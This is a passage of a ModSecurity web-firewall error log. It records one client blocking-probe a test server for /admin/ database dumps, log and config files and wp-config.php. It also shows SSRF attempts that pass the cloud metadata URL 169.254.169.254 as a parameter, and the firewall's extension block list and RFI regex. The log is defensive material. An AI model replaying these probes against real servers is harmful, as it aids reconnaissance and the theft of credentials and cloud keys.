&quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViLwAAAAc&quot;]
[Sun Mar 22 01:06:11.979546 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViLwAAAAc&quot;]
[Sun Mar 22 01:06:11.979671 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViLwAAAAc&quot;]
[Sun Mar 22 01:06:12.069459 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViMwAAAAc&quot;]
[Sun Mar 22 01:06:12.069863 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViMwAAAAc&quot;]
[Sun Mar 22 01:06:12.070003 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViMwAAAAc&quot;]
[Sun Mar 22 01:06:12.114899 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViNQAAAAc&quot;]
[Sun Mar 22 01:06:12.115220 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViNQAAAAc&quot;]
[Sun Mar 22 01:06:12.115351 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViNQAAAAc&quot;]
[Sun Mar 22 01:06:12.137387 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/dump.sql&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViNgAAAAc&quot;]
[Sun Mar 22 01:06:12.137817 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/dump.sql&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViNgAAAAc&quot;]
[Sun Mar 22 01:06:12.137946 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/dump.sql&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViNgAAAAc&quot;]
[Sun Mar 22 01:06:12.182963 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/error.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViOAAAAAc&quot;]
[Sun Mar 22 01:06:12.183385 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/error.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViOAAAAAc&quot;]
[Sun Mar 22 01:06:12.183517 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/error.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViOAAAAAc&quot;]
[Sun Mar 22 01:06:12.364325 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/logs/error.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViQAAAAAc&quot;]
[Sun Mar 22 01:06:12.364721 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/logs/error.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViQAAAAAc&quot;]
[Sun Mar 22 01:06:12.364841 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/logs/error.log&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViQAAAAAc&quot;]
[Sun Mar 22 01:06:12.612935 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.conf&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViSwAAAAc&quot;]
[Sun Mar 22 01:06:12.613321 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.conf&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViSwAAAAc&quot;]
[Sun Mar 22 01:06:12.613454 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.conf&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViSwAAAAc&quot;]
[Sun Mar 22 01:06:12.635433 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.sql&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViTAAAAAc&quot;]
[Sun Mar 22 01:06:12.635809 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.sql&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViTAAAAAc&quot;]
[Sun Mar 22 01:06:12.635933 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.sql&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViTAAAAAc&quot;]
[Sun Mar 22 01:06:12.725932 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUAAAAAc&quot;]
[Sun Mar 22 01:06:12.726238 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUAAAAAc&quot;]
[Sun Mar 22 01:06:12.726373 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUAAAAAc&quot;]
[Sun Mar 22 01:06:12.748816 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /admin/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUQAAAAc&quot;]
[Sun Mar 22 01:06:12.749044 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUQAAAAc&quot;]
[Sun Mar 22 01:06:12.749199 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUQAAAAc&quot;]
